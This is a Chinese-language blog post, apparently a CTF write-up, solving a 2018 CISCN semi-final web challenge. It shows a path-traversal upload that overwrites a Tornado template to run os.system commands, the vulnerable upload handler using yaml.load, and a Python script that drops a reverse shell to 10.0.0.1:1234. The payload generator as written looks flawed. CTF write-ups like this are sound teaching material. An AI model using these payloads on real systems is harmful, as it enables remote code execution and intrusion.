MoR03r MoR03r's Blog
国赛半决赛(华北赛区)Web7题目解题分享
发表于 2018-10-14 | CTF

Web7解题思路

MoR03r解题思路(非预期)

ShoppingList

打开网站后,注册一个用户登录,发现“咸鱼”这里有个上传

UploadPage

上传一张图片看看效果,发现会跳转到/user这个页面

比赛时,队友找到了一个非预期,就是上传的文件名可以包含路径,直接覆盖原文件 利用这个非预期上传到/home/ciscn/www/sshop/template/info.html,直接覆盖info.html这个模板,在info.html中加入一句

 {% import os %}{{ os.system('ls > /home/ciscn/www/sshop/template/assets/ls.txt') }}

具体代码如下

 {% extends "layout.html" %}
    {% block body %}
    {% import os %}
    {{ os.system('ls > /home/ciscn/www/sshop/template/assets/ls.txt') }}
    <div class="jumbotron commodity-info">
        <h1>{{ commodity.name }}</h1>
        <p class="lead" style="word-wrap:break-word">{{ commodity.desc }}</p>
        <p>Price: {{ commodity.price }}</p>
        <p>Amount: {{ commodity.amount }}</p>
        <form action="/pay" method="post">
                {% raw xsrf_form_html() %}
                <input type="hidden" name="price" value="{{ commodity.price }}">
                <input type="hidden" name="id" value="{{ commodity.id }}">
                <button class="btn btn-lg btn-success">Buy</button>
        </form>
    </div>
    {% end %}

然后回到主页查看一件商品的详情,访问到/info/页面,让模板中的命令执行,接着直接访问/static/ls.txt就能够得到当前目录下的文件

ShoppingInfo FlagFileInStaticDirectory

最后修改模板中的命令即可拿到flag,也可以反弹shell回来拿到flag。

fixit阶段审计代码发现预期解法

在User.py文件中,文件上传Handler,发现如下代码:

 class UploadHandler(BaseHandler):
            def get(self):
                    self.render('upload.html',flag="")

            def post(self):
                    file_metas = self.request.files["file"]
                    if not file_metas:
                            self.finish()
                    print(file_metas)
                    for meta in file_metas:
                            print meta
                            file_name = meta['filename']
                            file_ext = file_name.split('.')[-1]
                            if file_ext.lower() not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']:
                                    self.render('upload.html', flag="")
                            print file_name
                            with open(file_name, 'wb') as up:
                                    up.write(meta['body'])
                            if (os.path.splitext(file_name)[1][1:] == 'yml'):
                                    f = os.path.abspath(file_name)
                                    flag=yaml.load(file(f, 'r'))
                                    self.render('upload.html', flag=flag)
                            else:
                                    print self.redirect('/user')
                    print "OK, file uploaded successfully!"
                    self.redirect('/user')

很明显是想要上传一个yml文件,其中的yaml.load()函数存在漏洞。

 # !/usr/bin/env python
    import yaml
    import os

    payload =  yaml.dump(open('/tmp/a.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'))
    payload2 = yaml.dump(os.system('python /tmp/a.py'))

    fp = open('simple.yml','w')
    fp.write(payload)
    fp.close()
    fp = open('simple2.yml','w')
    fp.write(payload2)
    fp.close()

然后在本地监听上面payload里的端口,依次上传文件即可(本地复现环境有点问题)。

TOP